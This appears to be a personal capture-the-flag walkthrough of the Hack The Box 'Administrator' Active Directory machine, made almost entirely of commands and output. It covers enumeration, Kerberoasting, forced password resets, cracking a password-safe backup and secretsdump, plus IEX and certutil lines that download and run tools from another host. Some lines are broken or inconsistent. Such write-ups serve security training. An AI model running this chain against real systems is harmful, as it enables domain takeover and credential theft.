M0B Notes

Administrator ​

#htb #windows #ActiveDirectory #bloodhound #winrm #ldap #writeup

Username: Olivia Password: ichliebedich

bash
sudo nmap 10.10.11.42 -sS -vvv -Pn -n -p- --min-rate 5000 --open -oG allPorts
bash
sudo nmap 10.10.11.42 -p PORTS -sCV -oN targeted
bash
ftp 10.10.11.42
anonymous
bash
rpcclient -U 'Olivia%ichliebedich' 10.10.11.42
Administrator
Guest
krbtgt
olivia
michael
benjamin
emily
ethan
alexander
emma
bash
nxc smb 10.10.11.42
bash
impacket-GetNPUsers administrator.htb/ -no-pass -usersfile validUsers.txt


Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User olivia doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User michael doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User benjamin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User emily doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ethan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
bash
impacket-GetUserSPNs administrator.htb/Olivia:ichliebedich -request


Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName                           Name     MemberOf                                                       PasswordLastSet             LastLogon                   Delegation 
---------------------------------------------  -------  -------------------------------------------------------------  --------------------------  --------------------------  ----------
administrator/Michael.administrator.htb:60011  michael  CN=Remote Management Users,CN=Builtin,DC=administrator,DC=htb  2025-03-15 02:03:06.701243  2025-03-15 02:18:58.873119
bash
ldapdomaindump -u 'administrator.htb\Olivia' -p 'ichliebedich' 10.10.11.4
bash
evil-winrm -i 10.10.11.42 -u Olivia -p "ichliebedich"
powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.11.42:8000/winPEAS.ps1')
powershell
netstat -ano | FindStr /I "LISTENING"
powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.11.42:8000/winPEAS.ps1')
powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.11.42:8000/SharpHound.ps1')
bash
certutil -urlcache -f http://10.10.14.200:8000/SharpHound.exe SharpHound.exe
bash
bloodhound-python  -d administrator.htb -ns 10.10.11.42 -u olivia -p ichliebedich -c All --zip
bash
net user michael michael /domain
bash
evil-winrm -i 10.10.11.42 -u michael -p "michael"
bash
rpcclient -U michael 10.10.11.42

setuserinfo2 benjamin 23 'benjamin'

net rpc password "benjamin" -U "administrator.htb"/michael%michael -S "10.10.11.42"
bash
ftp 10.10.11.42

benjamin
benjamin

wget ftp://benjamin:benjamin@10.10.11.42/Backup.psafe3
bash
pwsafe2john Backup.psafe3

john hash

tekieromucho
UXLCI5iETUsIBoFVTj8yQFKoHjXmb
bash
evil-winrm -i 10.10.11.42 -u emily -p "UXLCI5iETUsIBoFVTj8yQFKoHjXmb" -i administrator.htb
powershell
Set-ADUser -Identity ethan -Add @{servicePrincipalName="foobar/xd"}

$SecPassword = ConvertTo-SecureString '
UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -AsPlainText -Force

$Cred = New-Object System.Management.Au
tomation.PSCredential('object.local\ethan', $SecPassword)

Get-DomainSPNTicket -SPN "foobar/xd" -C
redential $Cred
bash
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
limpbizkit
bash
impacket-secretsdump administrator.htb/ethan:limpbizkit@10.10.11.42

Notas personales de seguridad ofensiva.

Darío Pérez Ballesteros — M0B